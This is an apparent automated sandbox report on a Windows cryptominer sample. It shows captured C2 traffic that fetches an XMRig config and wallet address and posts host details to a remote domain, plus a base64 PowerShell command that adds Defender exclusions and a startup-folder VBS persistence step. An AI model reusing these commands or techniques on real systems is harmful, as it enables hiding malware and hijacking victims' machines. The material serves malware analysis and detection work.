0	192.168.2.5	49705	154.216.20.243	443	6760	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 19:36:23 UTC	111	OUT	GET /P.txt HTTP/1.1 Accept: / Connection: close Host: woo097878781.win User-Agent: cpp-httplib/0.12.6
2024-12-12 19:36:23 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 19:36:23 GMT Content-Type: text/plain Content-Length: 478 Connection: close X-Accel-Version: 0.01 Last-Modified: Thu, 12 Dec 2024 02:48:02 GMT ETag: "1de-62909be2a2780" Accept-Ranges: bytes Vary: Accept-Encoding X-Powered-By: PleskLin
2024-12-12 19:36:23 UTC	478	IN	Data Raw: 7b 0d 0a 20 20 20 20 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 20 20 20 20 22 70 6f 6f 6c 22 3a 20 22 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 22 2c 0d 0a 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 34 34 2c 0d 0a 20 20 20 20 22 77 61 6c 6c 65 74 22 3a 20 22 34 36 59 73 4a 65 4e 67 37 38 41 46 65 41 73 56 41 53 38 41 47 54 44 35 6e 66 4e 68 53 66 72 71 4e 41 4c 69 77 70 6e 4a 68 42 6b 58 63 67 52 67 67 70 79 6b 61 4b 5a 59 6a 70 33 59 53 77 59 52 44 32 41 31 63 45 48 71 71 6b 75 71 44 4b 48 58 57 6a 34 58 53 56 6a 78 47 38 61 73 65 6a 42 22 2c 0d 0a 20 20 20 20 22 70 61 73 73 77 6f 72 64 22 3a 20 22 22 2c 0d 0a 20 20 20 20 22 6e 69 63 65 68 61 73 68 22 3a 20 74 72 75 65 2c 0d 0a 20 20 20 20 22 73 73 6c 74 6c 73 22 3a 20 74 72 75 65 2c 0d 0a 20 20 20 Data Ascii: { "algo": "rx/0", "pool": "192.168.0.100", "port": 4444, "wallet": "46YsJeNg78AFeAsVAS8AGTD5nfNhSfrqNALiwpnJhBkXcgRggpykaKZYjp3YSwYRD2A1cEHqqkuqDKHXWj4XSVjxG8asejB", "password": "", "nicehash": true, "ssltls": true,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	154.216.20.243	443	6760	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 19:36:25 UTC	179	OUT	POST /66/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 326 Content-Type: application/json Host: woo097878781.win User-Agent: cpp-httplib/0.12.6
2024-12-12 19:36:25 UTC	326	OUT	Data Raw: 7b 22 69 64 22 3a 22 79 66 71 68 65 73 77 6c 61 7a 6c 7a 6f 78 6d 78 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 32 38 34 39 39 32 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 61 6c 66 6f 6e 73 22 2c 22 67 70 75 22 3a 22 50 35 48 4d 42 43 43 54 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 68 74 74 70 73 3a 2f 2f 77 6f 6f 30 39 37 38 37 38 37 38 31 2e 77 69 6e 2f 50 2e 74 78 74 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 34 2e 31 22 2c 22 61 63 74 69 76 65 77 69 6e 64 6f 77 22 3a 22 Data Ascii: {"id":"yfqheswlazlzoxmx","computername":"284992","username":"user","gpu":"P5HMBCCT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://woo097878781.win/P.txt","version":"3.4.1","activewindow":"
2024-12-12 19:36:26 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 19:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.3.14 X-Robots-Tag: noindex, nofollow Vary: Accept-Encoding X-Powered-By: PleskLin
2024-12-12 19:36:26 UTC	28	IN	Data Raw: 31 31 0d 0a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 22 6f 6b 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 11{"response":"ok"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49835	154.216.20.243	443	6760	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 19:37:22 UTC	179	OUT	POST /66/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 339 Content-Type: application/json Host: woo097878781.win User-Agent: cpp-httplib/0.12.6
2024-12-12 19:37:22 UTC	339	OUT	Data Raw: 7b 22 69 64 22 3a 22 79 66 71 68 65 73 77 6c 61 7a 6c 7a 6f 78 6d 78 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 32 38 34 39 39 32 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 61 6c 66 6f 6e 73 22 2c 22 67 70 75 22 3a 22 50 35 48 4d 42 43 43 54 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 68 74 74 70 73 3a 2f 2f 77 6f 6f 30 39 37 38 37 38 37 38 31 2e 77 69 6e 2f 50 2e 74 78 74 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 34 2e 31 22 2c 22 61 63 74 69 76 65 77 69 6e 64 6f 77 22 3a 22 Data Ascii: {"id":"yfqheswlazlzoxmx","computername":"284992","username":"user","gpu":"P5HMBCCT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://woo097878781.win/P.txt","version":"3.4.1","activewindow":"
2024-12-12 19:37:23 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 19:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.3.14 X-Robots-Tag: noindex, nofollow Vary: Accept-Encoding X-Powered-By: PleskLin
2024-12-12 19:37:23 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Target ID:	0
Start time:	14:36:10
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x26b466e0000
File size:	5'876'736 bytes
MD5 hash:	53E3F2BACA38239BD6025B9E18E5F202
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2585182229.0000026B61CA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2235805876.0000026B5ACAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:36:12
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwARABlAHMAawB0AG8AcABcAGYAaQBsAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAGwAZgBvAG4AcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AZABvAHMAQwBQAFUAcwB5AHMAdABlAG0ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAbABmAG8AbgBzAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAGkAbgBkAG8AcwBDAFAAVQBzAHkAcwB0AGUAbQAuAGUAeABlAA==
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:36:12
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:36:15
Start date:	12/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:36:18
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x1f778b70000
File size:	55'824 bytes
MD5 hash:	DF5419B32657D2896514B6A1D041FE08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:36:18
Start date:	12/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:36:28
Start date:	12/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs"
Imagebase:	0x7ff6a6590000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:36:29
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\WindosCPUsystem.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\WindosCPUsystem.exe"
Imagebase:	0x2278ea50000
File size:	5'876'736 bytes
MD5 hash:	53E3F2BACA38239BD6025B9E18E5F202
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:36:30
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x20ae41a0000
File size:	55'824 bytes
MD5 hash:	DF5419B32657D2896514B6A1D041FE08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF8490CCC43 Relevance: 2.1, Strings: 1, Instructions: 895
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p_I, xrefs: 00007FF8490CCE46

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: p_I
API String ID: 0-3631482803
Opcode ID: c5a06c84d35cdefe9f38e7d2648142c602401bf0856a3061d97cda3515d14c58
Instruction ID: 38ccba7ca8738c726e1bde14a301866f05a41fd3c961536f15f3a6683fb2ac1e
Opcode Fuzzy Hash: c5a06c84d35cdefe9f38e7d2648142c602401bf0856a3061d97cda3515d14c58
Instruction Fuzzy Hash: 9942FB30A0CE9A4FEB6DEF6884546B977E2FFA4391F14457AD04AC36C5DF28E8428741

Function 00007FF8490C31F2 Relevance: 2.1, Strings: 1, Instructions: 809
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l:_H, xrefs: 00007FF8490C368F

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: l:_H
API String ID: 0-1013743576
Opcode ID: b08fc9bce9942cb94d30a63f4fc3db7e7548aedf5dc8afe16faccf7d32740a44
Instruction ID: d00f563854f944847c00a45c68f4f9a664f5723a68e13ba5e889d71637065ac6
Opcode Fuzzy Hash: b08fc9bce9942cb94d30a63f4fc3db7e7548aedf5dc8afe16faccf7d32740a44
Instruction Fuzzy Hash: AE428131A1CA8A8FDBA8EF18C4957B977E1FF98744F540569D44AC7282CF34E852C781

Function 00007FF8490C0DF2 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

64_^, xrefs: 00007FF8490C0E01

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: 64_^
API String ID: 0-1721108549
Opcode ID: c1d8321752941cad04e5c013e6c33fd5020482cacf3c765184cc1636280605b9
Instruction ID: 204ff16026c4052aed53471f13b0d4c9e5f7dccb80e4841dfe497f7366cd190d
Opcode Fuzzy Hash: c1d8321752941cad04e5c013e6c33fd5020482cacf3c765184cc1636280605b9
Instruction Fuzzy Hash: 3C918B22E2FB865AEBA8BA7C74451F677E0EF55764F04427AC08D8F193CD1CA8834285

Function 00007FF8490C7366 Relevance: 4.6, Strings: 3, Instructions: 863
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490C77BA
>O]H, xrefs: 00007FF8490C77F2
HI, xrefs: 00007FF8490C7B04

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: >O]H$HI$HI
API String ID: 0-2578062900
Opcode ID: 3ecd40ff5655e0e9150009ba622ab1958f659d89cc2b70f3cd393518aa6f3116
Instruction ID: 0726faf09fc1bc1592f187bc6e78f60c6fbf68d196eeb0e1ff78cb67eda186b5
Opcode Fuzzy Hash: 3ecd40ff5655e0e9150009ba622ab1958f659d89cc2b70f3cd393518aa6f3116
Instruction Fuzzy Hash: E3526130A1CA598FEFA8EF289855AA977E1FF99740F1441B9D04DC7292DE34EC41CB81

Function 00007FF8490CB535 Relevance: 3.3, Strings: 2, Instructions: 777
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490CBA0C
9_H, xrefs: 00007FF8490CB590

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: 9_H$HI
API String ID: 0-4253292414
Opcode ID: ac53009c495dc5686219590d2e4a8c749e186769a76c9c848ff3f3ec0efa7fc7
Instruction ID: 5c4e64ccd8338fd78ad5387ad96fdcfa9aef84fdb91f3e95fd5524b4b4f67bef
Opcode Fuzzy Hash: ac53009c495dc5686219590d2e4a8c749e186769a76c9c848ff3f3ec0efa7fc7
Instruction Fuzzy Hash: 60327230A1CA598FDBA8EF28D455AA977E1FF98740F1041B9D04EC7296DE35EC42CB81

Function 00007FF8490C73A9 Relevance: 3.0, Strings: 2, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490C77BA
>O]H, xrefs: 00007FF8490C77F2

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: >O]H$HI
API String ID: 0-759595582
Opcode ID: 4d5b983483e1248f82b0348c168dfac0a9aefdc648b9870b013435e578b7d7d3
Instruction ID: ee6f728bf380216e76407b723b387e7467a51d2c2c26f153212786b2a6ca52c3
Opcode Fuzzy Hash: 4d5b983483e1248f82b0348c168dfac0a9aefdc648b9870b013435e578b7d7d3
Instruction Fuzzy Hash: E8027F30A1CA998FDFA8EB289455BA977E2FF99740F1401B9D04DC7296DE34EC41CB81

Function 00007FF8490CDAD1 Relevance: 2.9, Strings: 2, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p_I, xrefs: 00007FF8490CDB20
p_I, xrefs: 00007FF8490CDC97

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: p_I$p_I
API String ID: 0-3690619792
Opcode ID: 958fc2b36fd9159ac38ee0f107238afbd398b52680da6566a2e0678c0fa46ce2
Instruction ID: 5f7b168c6f8139cb35553e7b097c9ffc7157aec0166bf3a36bf9ff99638d9471
Opcode Fuzzy Hash: 958fc2b36fd9159ac38ee0f107238afbd398b52680da6566a2e0678c0fa46ce2
Instruction Fuzzy Hash: CAA14A31E1CACB4FEB6DEB2894552B977E1EF95391F04057AD04AC7186DE2CE8468381

Function 00007FF8490CC5E8 Relevance: 2.8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p_I, xrefs: 00007FF8490CC78D
p_I, xrefs: 00007FF8490CC735

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: p_I$p_I
API String ID: 0-3690619792
Opcode ID: b626a0118f500c29f9bc1eb805b8f9b7b1faff5e8d7c3a5cc17a887d4fcfbcf9
Instruction ID: bd8c02700f36440b568689879dc6d3bde9e873651be7a65075a148023e12f16a
Opcode Fuzzy Hash: b626a0118f500c29f9bc1eb805b8f9b7b1faff5e8d7c3a5cc17a887d4fcfbcf9
Instruction Fuzzy Hash: F5714831E0DBD68FEBA9EB38D44917577D0EF54690B0809BED049C75D2DB28E8868341

Function 00007FF8490CFB43 Relevance: 2.6, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p_I, xrefs: 00007FF8490CFB7F
p_I, xrefs: 00007FF8490CFBB8

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: p_I$p_I
API String ID: 0-3690619792
Opcode ID: 51daf436e4443af9406bbe28addf2ca946a5e66357d83f6b83e405228a68c73c
Instruction ID: 6b1e7ad221d423d5fb8c1396f20c602d17422b73c09564e9dc7caf671bb929e7
Opcode Fuzzy Hash: 51daf436e4443af9406bbe28addf2ca946a5e66357d83f6b83e405228a68c73c
Instruction Fuzzy Hash: 9B312630D0CA864FEBBDAA3854652B53BE1FF14341F1400BEC14AC25D2DF69E8868342

Function 00007FF8490C0F60 Relevance: 2.2, Strings: 1, Instructions: 984COMMON

Download Yara Rule

Strings

HI, xrefs: 00007FF8490C108F

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-2688142512
Opcode ID: 52f1c9493aeb46b65beb82f8a431499b7b365a49b7e436016ee7f32c4dcca6c9
Instruction ID: c449cf910b0b5323b61385118f4e03f7462f1e0c459b5ebeb1c6a9094cf5fcb5
Opcode Fuzzy Hash: 52f1c9493aeb46b65beb82f8a431499b7b365a49b7e436016ee7f32c4dcca6c9
Instruction Fuzzy Hash: B5621761D1D6C64FEBBDAB2448169B53BE0EF56394F0401FDD58ECB5E3EA1CA80A8341

Function 00007FF8490C5140 Relevance: 2.2, Strings: 1, Instructions: 941
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3_H, xrefs: 00007FF8490C5851

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: 3_H
API String ID: 0-1213649542
Opcode ID: fe32940cf812258df7037b6576642d5065903486dc41e99e505d31173775e9e4
Instruction ID: f0de82faade9ec98dbfd4ae1a53cb022f5137ff5b6ecb0cad5f1a8ca860047a7
Opcode Fuzzy Hash: fe32940cf812258df7037b6576642d5065903486dc41e99e505d31173775e9e4
Instruction Fuzzy Hash: 06529F75A1C9898FEFA8EF2CD459A7937D1FF58340B1501B9E44EC72A2DE28EC818741

Function 00007FF8490C7CD5 Relevance: 1.9, Strings: 1, Instructions: 670
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490C80AE

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-2688142512
Opcode ID: d969aaa49b1867ff25c698617f7614e758e8a1add5471e943edd2f5697931f13
Instruction ID: f40159b8cdd104467fca38ed42758950c4685e5d79a61016b02ca08eac117c79
Opcode Fuzzy Hash: d969aaa49b1867ff25c698617f7614e758e8a1add5471e943edd2f5697931f13
Instruction Fuzzy Hash: 08226231A1C98E8FEF99EF68D4559A977E1FFA9380B1401B9D40DC7296DE24EC42C780

Function 00007FF848F25C40 Relevance: 1.7, APIs: 1, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2644720540.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 666fda8d5bdba5bd2701358df01440cc77878cf1409d01112b8021bd95870d22
Instruction ID: 0673ab3b0a935fd84e24ccd2e5646baba32f5fabd78d92e9264f6041c59b56a5
Opcode Fuzzy Hash: 666fda8d5bdba5bd2701358df01440cc77878cf1409d01112b8021bd95870d22
Instruction Fuzzy Hash: 2AF18E7091DA8D8FDB85EF68C859AE9BBF0FF59300F0401ABD448D7292DB34A985CB41

Function 00007FF8490C6949 Relevance: 1.7, Strings: 1, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490C6A69

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-2688142512
Opcode ID: 6738d32802998e8a0d9935cde2a5af750bff06506f7ff73463ab88a41d28740d
Instruction ID: 0b43acb584445056e97dc19a3825167cd8820c934d7533d74e6a07c558ac11e0
Opcode Fuzzy Hash: 6738d32802998e8a0d9935cde2a5af750bff06506f7ff73463ab88a41d28740d
Instruction Fuzzy Hash: 28B19430B1CA4A4FEBA8EB6C9459AB977E1EF58740F144179E04DC7292DE29EC428781

Function 00007FF8490C8516 Relevance: 1.6, Strings: 1, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HI, xrefs: 00007FF8490C859D

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-2688142512
Opcode ID: 8282dc8a010c6bdfde031a827d001e9188db43d0ea69ea633bcdd8c5f2be3a5f
Instruction ID: 621aceb6edd4920d8cc93e3015a18ac8bba80408bef4210d0747885b50eae138
Opcode Fuzzy Hash: 8282dc8a010c6bdfde031a827d001e9188db43d0ea69ea633bcdd8c5f2be3a5f
Instruction Fuzzy Hash: 94C13931A0DAC64FFBB9EB2884556757BE1FF99390B0801BAD44DC75A3DE28EC468341

Function 00007FF8490C9281 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

HI, xrefs: 00007FF8490C92B1

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-2688142512
Opcode ID: dd12f4b748e1f546a715b4bc4058003f4e809729a3cc1cd248d128ffccf7360f
Instruction ID: 3c673162a11f908ed3471adffb92f495912e360d7af77729623aa793147eaa3d
Opcode Fuzzy Hash: dd12f4b748e1f546a715b4bc4058003f4e809729a3cc1cd248d128ffccf7360f
Instruction Fuzzy Hash: 9121603160DD894FDBA9EB2C945966477E1FF59350F4900FAE04EC72A6DE29DC828341

Function 00007FF8490C92A0 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

